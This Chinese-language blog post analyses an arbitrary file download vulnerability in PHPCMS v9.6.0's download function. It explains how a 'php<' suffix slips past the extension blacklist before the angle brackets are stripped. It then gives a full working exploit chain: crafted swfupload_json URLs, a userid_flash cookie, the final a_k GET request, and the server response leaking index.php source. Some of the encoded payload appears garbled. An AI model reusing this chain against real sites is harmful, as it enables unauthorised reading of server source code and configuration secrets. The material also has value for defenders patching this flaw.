漏洞文件:

/phpcms/modules/content/down.php download函数

这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace函数过滤。

和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到,然后程序对$f参数过滤,过滤规则如下:

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);

过滤了一些黑名单,空格以及目录跳跃,之后把$s和$f作为下载文件路径:

if($m) $fileurl = trim($s).trim($fileurl);

再把拼接后的文件名过滤一次,程序继续运行,来到最关键的一步:

$fileurl = str_replace(array('<','>'), '',$fileurl);

file_down($fileurl, $filename);

file_down函数是文件下载函数,调用readfile读取文件,在进入这个函数之前还用了一个str_replace 函数去除了大小括号,这就为我们绕过提供了思路,我们只需要构造 php< 或 php> 这样的后缀,就可以绕过正则, 之后被str_replace去掉了括号,就可以下载被过滤的文件后缀了。

a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:

ayload 如下:
登录普通用户,访问链接:

http://192.168.5.161/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C

获取分配的att_json

再访问

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70CPost
userid_flash=2c329hVguOLq0D2bnikDfuZXHNPFzbEB9pxi0Mm6

根据返回页面的cookie里面的到lkbzk_att_json ,再组合获取下载页面的payload

GET /index.php?m=content&c=down&a=download&a_k=976fLWUIDUHaVMnl_FtB4HdmjRb90l-uHZgmSo1Z4KHpB7tZB7RvDwPiIV6K6HtQ452IsyIrs38y8to35npWDPxaxdizTAWvZAVBJYBfJJIJgR56ajBIPd0vp4x2mmU6GUeQ HTTP/1.1Host: victim-serverAccept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Content-Length: 0

HTTP/1.1 200 OKDate: Wed, 03 May 2017 07:50:12 GMTServer: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-Powered-By: PHP/5.3.6Vary: Accept-EncodingPragma: publicLast-Modified: Wed, 03 May 2017 07:50:12 GMTCache-Control: pre-check=0, post-check=0, max-age=0Content-Transfer-Encoding: binaryContent-Encoding: noneContent-type: ph>pContent-Disposition: attachment; filename="20170503_035012279.ph>p"Content-length: 313

<?php/**

 *  index.php PHPCMS 入口

 *

 * @copyright                   (C) 2005-2010 PHPCMS

 * @license                                 http://www.phpcms.cn/license/

 * @lastmodify                           2010-6-1

 */

 //PHPCMS根目录

define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'/phpcms/base.php';

pc_base::creat_app();

?>

最新文章

  1. ListView到顶部不可再拉
  2. Linux:Ubuntu14.04离线安装scala(在线安装)
  3. YII2.0--------这篇文章记录我学习YII2.0的过程吧,也可以让更多的人少走弯路
  4. YUV主要采样格式理解
  5. Asp.net 导入Excel(服务器不带Office)
  6. Java Script基础(六) DOM模型
  7. 解决Handler与Activity同步冲突
  8. iptables开始ftp
  9. WSGI、flup、fastcgi、web.py的关系
  10. Android版多线程下载器核心代码分享
  11. Entity Framework中对存储过程的返回值的处理
  12. The Lisp Curse /Lisp魔咒
  13. python学习第9-10天,函数。
  14. linux使用privoxy将55转为http代理
  15. 微信小程序 多个视频播放器
  16. 子组件通过 $emit 触发父组件的自定义事件
  17. python错误 ImportError: No module named setuptools 解决方法[转]
  18. 【JavaScript】10个重要知识点
  19. 腾讯云-搭建 WordPress 个人博客
  20. Hive-表连接

热门文章

  1. 记一次oracle新建用户及分配指定表权限的操作记录
  2. Java连载31-递归方法练习、面向对象
  3. 跟我学SpringCloud | 第十八篇:微服务 Docker 化之基础环境
  4. Channel使用技巧
  5. vue把链接转二维码
  6. git分支操作笔记
  7. 使用Spreadsheet导出表格时,设置样式
  8. python2.x和python3.x版本共存时选择启动的版本
  9. Android Studio [登陆界面]
  10. Django序列化&amp;django REST framework